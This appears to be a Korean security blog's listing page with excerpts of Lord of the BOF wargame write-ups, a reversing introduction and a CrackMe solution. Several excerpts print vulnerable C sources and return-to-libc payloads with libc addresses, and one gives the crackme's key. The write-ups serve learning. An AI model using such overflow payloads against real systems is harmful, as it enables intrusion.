본문 바로가기

분류 전체보기

(267)
R-value, L-value -> Value-type C에서 R-value 는오른쪽에 있는 값. L-value 는왼쪽에 있는 값이다. int a=3; 일 경우 R-value는 3, L-value 는 a 가 된다. C++에서는 R-value는 사라지는 값 L-value는 사라지지 않는 값. l value - 고유하면서 움직일 수 없는 값x value - 고유하면서 움직일 수 있는 값pr value - 순수한 값gl value - 다른 조건 없이 고유하기만 하면 됨 l-value xvalue xvalue pr value 이런식으로 그림이 그려진다. int x-3;const int y = x;int z = x+y;int* p = &x; cout 이렇게 할 경우, 컨테이너에 객체를 삽입할 때 더이상 포인터를 넣지 않아도 됨.--> vector 컨테이너와 같은 대규..
giant -> assassin RTL2 문제가 풀리니 다른문제는 술술 풀리는 것 같다. 문제의 소스는 /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL*/ #include #include main(int argc, char *argv[]){char buffer[40]; if(argc < 2){printf("argv error\n");exit(0);} if(argv[1][47] == '\xbf'){printf("stack retbayed you!\n");exit(0);} if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); } strcpy(buffer, ar..
파이썬 버그 0x0f -> 0x00 파이썬에 버그가 있다고 한다. 0x0f -> 0x00 으로 인식하는 버그인데, 이를 위해서 ./giant `python -c 'print "\x00"'` 여기서 `python ~ 00"'` 부분을 " 으로 묶어준다. ./giant "`python -c 'print "\x00"'`" 이런식으로 하면 올바른 페이로드를 작성할 수 있다.
bugbear -> giant 일단 중간중간 찍은 스샷부터 0x40058ae0 --> system 0x400fbff9 --> binsh0x400a9d48 --> execve0xbffffb0c --> null0x400391e0 --> exit 포인터 배열0xbffffad4&execve &exit &binsh&&binsh &null"`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x02\xfc\xff\xbf" + "\xa0\xfa\xff\xbf"'`" ./"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0..
darkknight -> bugbear RTL. 문제에 스택 자체를 사용하지 못하게 스택 앞 주소인 \xbf 를 아주 막아놓았다.#include #include main(int argc, char *argv[]){char buffer[40];int i; if(argc < 2){printf("argv error\n");exit(0);} if(argv[1][47] == '\xbf'){printf("stack betrayed you!!\n");exit(0);} strcpy(buffer, argv[1]); printf("%s\n", buffer);} 따라서 우리는 스택의 실행권한이 없거나, 네트워크 단에서 쉘코드를 막아놓았을 때 쓸 수 있는 RTL 기법을 사용해서 이 문제를 풀 수 있다. 일단 먼저 system 함수의 위치, /bin/sh 의 위치,..
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. 나중에 좀더 이해하면 푸는걸로...무작위 대입 스크립트로 짜서 문제만 넘겼습니다darkknight / new attacker
리버싱 엔지니어링 1.1 리버스 엔지니어링리버스 엔지니어링이란?물건이나 기게장치, 시스템의 구조,기능,동작등을 분석하여 그 원리를 이해하며 단점을 보완하고 새로운 아이디어를 추가하는 일련의 작업. 1.2 리버스 코드 엔지니어링리버스 코드 엔지니어링은 리버싱의 소프트웨어 분야를 일컫는다. 1.2.1 리버싱 방법실행파일(바이너리) 분석 방법에는 두가지 방법이 있다. 동적 분석과 정적 분석이 있는데, 1) 정적 분석 파일의 겉모습을 관찰하여 분석하는 방법이다. 정적분석에서는 파일을 실행하지 않고, 파일의 종류(EXE,DLL,DOC,ZIP 등) 헤더(PE) 정보 Import/Export API 내부 문자열, 실행압축 여부, 등록정보, 디버깅 정보, 디지털 인증서 등의 다양한 내용을 확인하는 것이다. 또한 디스 어셈블러(Disas..
1. Easy_CrackMe 푼건지 못푼건지.. 일단 실행하면 이런 화면이 나오는데, 아무 비밀번호나 입력하면 이런 오류창이 뜬다. 아이다로 열어보면 이런 소스가 나오는데, 대충 보자면일정 IF 문에 따라 성공, 실패 다이얼로그를 띄워준다 저기 있는a 5y R3versing E 가 있는데처음에 단순히 a5yR3versingE 를 입력해줬다가 안되길래선언된 순서대로String + v3 + Str1 + v5 Ea5yR3versing 을 입력 해주니 Correct 가 떴다. 키는 Ea5yR3versing다.